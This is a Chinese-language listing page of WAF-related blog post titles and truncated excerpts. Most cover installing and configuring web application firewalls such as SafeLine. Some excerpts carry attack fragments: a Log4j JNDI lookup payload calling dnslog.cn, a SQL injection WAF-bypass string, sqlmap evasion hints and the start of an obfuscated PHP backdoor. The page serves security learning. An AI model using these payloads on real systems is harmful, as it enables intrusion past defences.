WAF
Debian12 （雷池WAF SafeLine）通过 EUI64 固定 IPv6 地址后缀、获取无状态 SLAAC
说明 Debian 12 （KDE 桌面）网络管理（IPv4、IPv6）已默认不再由 内核 直接管理，转而使用由 NetworkManager 管理。 若要固定 IPv6 后缀并实现 SLAAC 无状态管理，则需要修改 NetworkManager 配置。 图形界面配置网络 配置完成后，检查网络地址 ......
08信息打点-系统篇&端口扫描&CDN 服务&负载均衡&WAF 防火墙
一、获取网络信息-服务厂商&网络架构1、每个不同的厂商都有不同的防护策略，获取到厂商信息可以第一时间知道目标服务器的防护情况 2、理解外网和内网 外网，出口IP：171.40.78.83 内网：192.168.1.1 WEB 内网192.168.1.1可以直接访问外网，外网出口（交换机）做一个映射反 ......
modSecurity nginx waf
OSI（开放系统互联） 是最常被网络相关讨论引用的网络流量框架之一。当数据包通过第 6 层（表示层）移动到第 7 层（应用层）时，它会进行解密或解码操作。这些操作可能会因异常解码和解释而产生漏洞，而这些漏洞可能被利用来打破标准应用上下文。注入就是这种漏洞的一种类型，而且因为传统的 IDS/IPS 设 ......
ubuntu 22.04.1安装雷池开源waf应用防火墙
ubuntu 22.04.1安装雷池开源waf应用防火墙 雷池waf是开源应用防火墙，国内首创、业内领先的智能语义分析算法 官方网站：https://waf-ce.chaitin.cn/ 官方文档：https://waf-ce.chaitin.cn/docs/ 官方安装文档：https://waf- ......
05 基础入门——资产架构&端口&应用&WAF&站库分离&负载均衡
一、资产架构1、网站配置 （1）目录型网站安全 bbs.xiaodi8.com dz论坛 #该域名下有一套网站程序，dz论坛 bbs.xiaodi8.com/blog wp程序 #该域名的某个目录下也配置了一套网站程序 总结：一个网站，两个程序，其中任何一个程序出现漏洞，都可以进入安全测试（同一服务 ......
naxsi nginx 低规则维护的waf 扩展
naxsi nginx 低规则维护的waf 扩展，使用了libpcre 以及libinjection 工具，核心主要是处理xss 以及sql 注入类型的处理 说明 基于nginx 的开源waf 还是比较多的，naxsi 做为一个工具，可以尝试下 参考资料 https://github.com/war ......
见证雷池成为 GitHub 全球第一的 WAF 项目
雷池（SafeLine）是长亭科技耗时近 10 年打造的 WAF，由长亭独创的智能语义分析算法驱动。
雷池与开源社区
早在 2016 年，长亭就开源了雷池的语义分析算法自动机引擎，后续又陆续开源了雷池相关风控插件的和引擎通信协议。
雷池的商业版本自发布以后就受到各大咨询机构和诸多头部企业的认可，虽... ......
见证雷池成为 GitHub 全球第一的 WAF 项目 ,(转自雷池微信公众号)
见证雷池成为 GitHub 全球第一的 WAF 项目 原创 雷池开发者团队 [CT Stack 安全社区](javascript:void(0)😉 2023-12-05 14:56 发表于浙江 雷池（SafeLine）是长亭科技耗时近 10 年打造的 WAF，由长亭独创的智能语义分析算法驱动。 雷 ......
Log4j一些WAF绕过技巧
0x00 前言 CVE-2021-44228 log4j：2.0 <= Apache log4j <= 2.14.1 patched of Java version：6u211+， 7u201+，8u191+， 11.0.1+ 基本Payload： ${jndi:ldap://dnslog.cn/a ......
雷池 WAF（SafeLine）异常处理：Web需要绑定动态口令，系统异常崩溃
说明 问题发生在2023年12月1日，突然发现安装的 雷池 WAF Web 需要重新绑定动态口令，但扫描二维码无法绑定。 当即检查防护站点服务正常，PVE Shell 访问正常。 查看 Issues · chaitin/SafeLine · GitHub ，发现已经有人提交了 Bug 。 [Bug] ......
什么是 WAF - Web Application Firewall
在我们深入探讨网络安全领域的多种技术和工具之前，让我们先理解一下 "WAF"。WAF 是 Web Application Firewall（网络应用防火墙）的缩写，它是一种保护 web 应用的特殊防火墙。WAF 旨在过滤、监控和阻止来自所有 HTTP 流量的恶意攻击。与传统的网络防火墙不同，WAF ......
Ubuntu部署雷池Waf社区版
安装docker环境 更新软件包 sudo apt update 安装docker环境 apt-get install docker.io docker -v 安装docker compose V2版本 该命令为$HOME目录下的活动用户安装Compose V2。为系统中的所有用户安装Docker ......
最新WAF信息收集技术
WAF的详细介绍将在第5章展开，本节针对WAF信息收集进行讲解。 目前，市面上的WAF大多都部署了云服务进行防护加固，让WAF的防护性能得到进一步提升。 图1-32所示为安全狗最新版服务界面，增加了“加入服云”选项。 图1-32 安全狗最新版服务界面，不仅加强了传统的WAF防护层，还增加了服云选项。 ......
记一次yakit对雷池WAF社区版功能的测试
yakit界面 点击专项漏洞检测，输入服务器IP地址，选择thinkphp 8个漏洞插件 开打 我在服务器上部署了雷池WAF社区版，选择攻击时间点过滤出9条，本次所有攻击都被发现拦截。 致远OA10个漏洞插件，开始测试 筛选攻击时间，发现10个攻击全部告警并且百分之百发现拦截 结语:实测长亭-雷池W ......
Safeline开源免费的Web应用防火墙（WAF）
https://zhuanlan.zhihu.com/p/641742236 安装指南： 配置需求： 操作系统：Linux 指令架构：x86_64 软件依赖：Docker 20.10.6 或更高版本 软件依赖：Docker Compose 2.0.0 或更高版本 最小环境要求：1 核 CPU / 1 ......
WAF绕过
阿里云盾 （阿里服务器自带） 宝塔 安全狗 （免费，所以用的多，且历史久，但现在有些菜了） 更改提交方式 前提：支持其他方式提交后接收 增加特殊符号，有的增加后与原来的回显没有区别 混用注释 /**/ %23：# %0a：换行 eg. ?id=1 union%23a%0Aselect 1,2,3# ......
[雷池WAF]长亭雷池WAF配置基于健康监测的负载均衡，实现故障自动切换上游服务器
为了进一步加强我们的内网安全，我们在原有硬WAF的基础上，又在内网使用的社区版的雷池WAF，作为应用上层的软WAF。从而实现多WAF防护的架构。 经过进一步了解，发现雷池WAF的上游转发代理是基于Tengine的，所以我们萌生出了一个想法，就是让雷池既可以具备WAF的功能，又具备负载均衡和故障切换的 ......
08：信息收集-架构,搭建,WAF等
前言：在安全测试中，信息收集是非常重要的一个环节，此环节的信息将影响到后续的成功几率，掌握信息的多少将决定发现漏洞机会大小，换言之决定着是否能完成目标的测试任务。也可以很直接的跟大家说：渗透测试的思路就是从信息收集这里开始，你与大牛的差距也是从这里开始的！ 申明：涉及的网络真实目标只做技术分析，不做 ......
堡塔云WAF
添加流程图 域名解析（使用CDN） 使用CDN的情况下。 在堡塔云WAF后台，添加域名，填写源站IP； 在域名解析后台，别名解析到CDN服务商提供的CNAME不变，但回源地址改为堡塔云WAF的IP。 请求大致过程（使用CDN） 相当于比之前多了「请求堡塔云WAF」一个步骤。 请求CDN节点 官方页面 ......
基于openresty部署WAF
WAF： Web Application Firewall 1、下载zip包在浏览器上打开 https://github.com/unixhot/waf 下载zip包 或者在服务器上输入git clone https://github.com/unixhot/waf.git2、解压unzip waf ......
一款广受社区好评的 WAF
大家好，我是 Java陈序员，我们有时会搭建一个属于自己的网站，但是自建网站很容易被收到攻击，今天给大家介绍一款简单免费好用的 WAF 网站防护工具。 WAF 是 Web Application Firewall 的缩写，也被称为 Web 应用防火墙。区别于传统防火墙，WAF 工作在应用层，对基于 ......
Nginx 限流及WAF
Nginx 提供了两种限流手段：一是控制速率，二是控制并发连接数。控制速率是按： limit_req_zone来限制单位时间内容的请求书，即速率限制。控制并发数： 利用limit_conn_zone和limit_conn两个指令来控制并发数. 1.ngx_http_limit_conn_module ......
信息打点-主机架构&蜜罐识别&WAF识别&端口扫描&协议识别&服务安全
[TOC] # 信息打点-主机架构&蜜罐识别&WAF识别&端口扫描&协议识别&服务安全 # 本节课涉及领域 web服务器和应用服务器这两个可以统称为中间件，分类的原因是因为支持运行的业务不一样，比如java的业务上面的web服务器就很麻烦，但是对于应用服务器就会很简单 1、Web服务器 网站常见端口 ......
绕过waf的点位
POST /upload-labs/Pass-01/index.php HTTP/1.1Host: 127.0.0.1:8081User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox ......
ngf和waf的区别
下一代防火墙（Next-Generation Firewalls）和WAF防火墙（Web Application Firewalls）是网络安全领域中的两种不同类型的防火墙，它们在功能和应用方面有所区别。 1. 功能区别： - NGFW: NGFW是一种整合传统防火墙和其他高级功能的安全设备，它不仅 ......
南墙WAF-最好的免费Web应用防火墙
免费的web应用防火墙最出名的非ModSecurity莫属。ModSecurity一度以维护者众多，规则更新较积极，并且免费而受安全圈追捧，然而随着时代变迁，ModSecurity的多种致命缺陷也逐渐暴露，包括： 缺乏管理后台，使用起来极为不便。 安全规则过于粗糙，很容易产生误报，从而影响正常业务。 ......
雷池waf，人生第一个免费好用WAF
转载自微信公众号：CT Stack 安全社区 原文地址：https://mp.weixin.qq.com/s/9N7qhvp4tu9_cwV47HGO8A ......
WAF绕过-漏洞利用之注入上传跨站绕过
SQL注入 使用如sqlmap等工具注入时，为防止CC拦截，修改数据包us头模仿爬虫，或使用代理池 安全狗：参考之前payload Aliyun：基本修改指纹即可 宝塔：匹配关键字，包括“/*”，注入语句的每个“/*”都改为“%00/*” sqlmap语句示范：sqlmap --proxy="htt ......
WAF绕过-权限控制之代码混淆造轮子
二、后门原理 1、变量覆盖--后门绕过安全狗： 相当于 2、加密传输 采取上面的方式很可能会被宝塔给拦截 编码绕过，在一些常见的waf例如宝塔对传入的参数会进行判断如果是包含类似phpinfo()这样的风险代码会被拦截，这个时候我们可以采用对代码进行编码的方式进行参数。 <?php $a = $_G ......
由于代码绕过WAF上传的tips
## 前言 最近审到一个通用的文件上传漏洞，但是在做测试的过程中遇到多种不同的WAF产品，一开始怎么都绕不过去，后面发现代码上的问题，然后基本上全绕过了 ## 分析 看到很多系统文件上传获取文件名的代码都是类似这样 ```java String fileExt=filename.substring( ......